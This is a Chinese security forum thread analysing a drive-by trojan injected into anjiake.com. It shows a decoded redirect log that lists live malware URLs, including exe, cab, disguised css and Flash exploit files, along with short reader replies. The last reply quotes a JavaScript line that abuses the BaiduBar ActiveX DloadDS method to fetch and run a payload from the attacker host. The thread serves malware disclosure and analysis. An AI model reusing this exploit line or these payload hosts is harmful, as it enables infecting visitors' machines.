http://beijing.anjiake.com/include/dedeajax2.js(北京安家客 挂马)

cchao21

会跑的马，有兴趣试试。

关于:hxxp://www.anjiake.com/解密的日志(全体输出 -  60):

Level  1>http://beijing.anjiake.com/include/dedeajax2.js
Level  2>http://www.anjiake.com/v1/flash/focus.swf  ●
Level  2>http://img.alimama.cn/bm/bc.swf?v=20090430
Level  2>http://beijing.anjiake.com/ajk_new/skin/logo.gif
Level  2>http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.htm
Level  2>http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.jpg
Level  2>http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/999.htm?009900
Level  3>http://00pp00.360yyy.8800.org:338/b117173/b11.htm
Level  4>http://count7.51much.com/cnt.php?uid=ua-1-13197&style=text&text=í???í3??
Level  4>http://00pp00.360yyy.8800.org:338/b117173/new.html
Level  5>http://00pp00.360yyy.8800.org:338/wewew.js
Level  6>http://x9s7b.cn:8808/baidu.exe  ●
Level  6>http://x9s7b.cn:8808/baidu.cab  ●
Level  5>http://00pp00.360yyy.8800.org:338/real11.htm
Level  6>http://00pp00.360yyy.8800.org:338/realplay.js
Level  7>http://x9s7b.cn:8808/a/real11.css  ●
Level  5>http://00pp00.360yyy.8800.org:338/real10.htm
Level  6>http://00pp00.360yyy.8800.org:338/real.js
Level  7>http://x9s7b.cn:8808/a/re.css  ●
Level  5>http://00pp00.360yyy.8800.org:338/cx.htm
Level  5>http://00pp00.360yyy.8800.org:338/active.htm
Level  5>http://00pp00.360yyy.8800.org:338/b117173/fx.htm
Level  6>http://00pp00.360yyy.8800.org:338/b117173/xlink.html
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,16,0f.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,28,0f.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,45,0f.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,47,0f.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,64,0f.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,115,0f.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/flash.js
Level  7>http://00pp00.360yyy.8800.org:338/b117173/swfobject.js
Level  6>http://00pp00.360yyy.8800.org:338/b117173/mlink.html
Level  7>http://00pp00.360yyy.8800.org:338/b117173/flash.js
Level  7>http://00pp00.360yyy.8800.org:338/b117173/swfobject.js
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,47,0i.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,28,0i.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,64,0i.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,16,0i.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,45,0i.swf  ●
Level  7>http://00pp00.360yyy.8800.org:338/b117173/win 9,0,115,0i.swf  ●
Level  5>http://00pp00.360yyy.8800.org:338/apple4.htm
Level  6>http://00pp00.360yyy.8800.org:338/14.js
Level  7>http://x9s7b.cn:8808/a/ms.css  ●
Level  5>http://00pp00.360yyy.8800.org:338/zhin.js
Level  6>http://00pp00.360yyy.8800.org:338/bfyy.htm
Level  7>http://00pp00.360yyy.8800.org:338/bf.js
Level  8>http://x9s7b.cn:8808/a/bf.css  ●
Level  7>http://00pp00.360yyy.8800.org:338/bff.js
Level  6>http://00pp00.360yyy.8800.org:338/as.htm
Level  7>http://00pp00.360yyy.8800.org:338/as.js
Level  7>http://x9s7b.cn:8808/a/as.css  ●
Level  6>http://00pp00.360yyy.8800.org:338/lzz.htm
Level  7>http://00pp00.360yyy.8800.org:338/lzz.js
Level  8>http://x9s7b.cn:8808/a/lzz.css  ●
Level  5>http://00pp00.360yyy.8800.org:338/xnnn.js
Level  2>http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/ads.jpg
Level  3>http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.jpg
Level  4>http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/11/tan.htm
Level  3>http://ww2.niupan.com/html/youxi/html/youxi/dianzijingji/999.htm?009900
Level  4>http://00pp00.360yyy.8800.org:338/b117173/b11.htm

网页分析：cchao21(打点的均为真实木马地址)

王子带着刀

hxxp://www.anjiake.com/

我上去好安静啊
http://beijing.anjiake.com/include/dedeajax2.js

下下来，扫描没有发现什么

gtyre1

呵呵，够详细。。。
有心了

eww

怎么弹出来一个文件要我下载？这样的木马也太傻了吧

xiaoqiang305

Level  6>http://x9s7b.cn:8808/baidu.exe  ●这个不是吧
nulltry{var j;var pbd=new ActiveXObject("BaiduBar.Tool")}catch(j){};finally{if(j!="[object Error]"){pbd["DloadDS"]("http://x9s7b.cn:8808/Baidu.cab","Baidu.exe",0)}}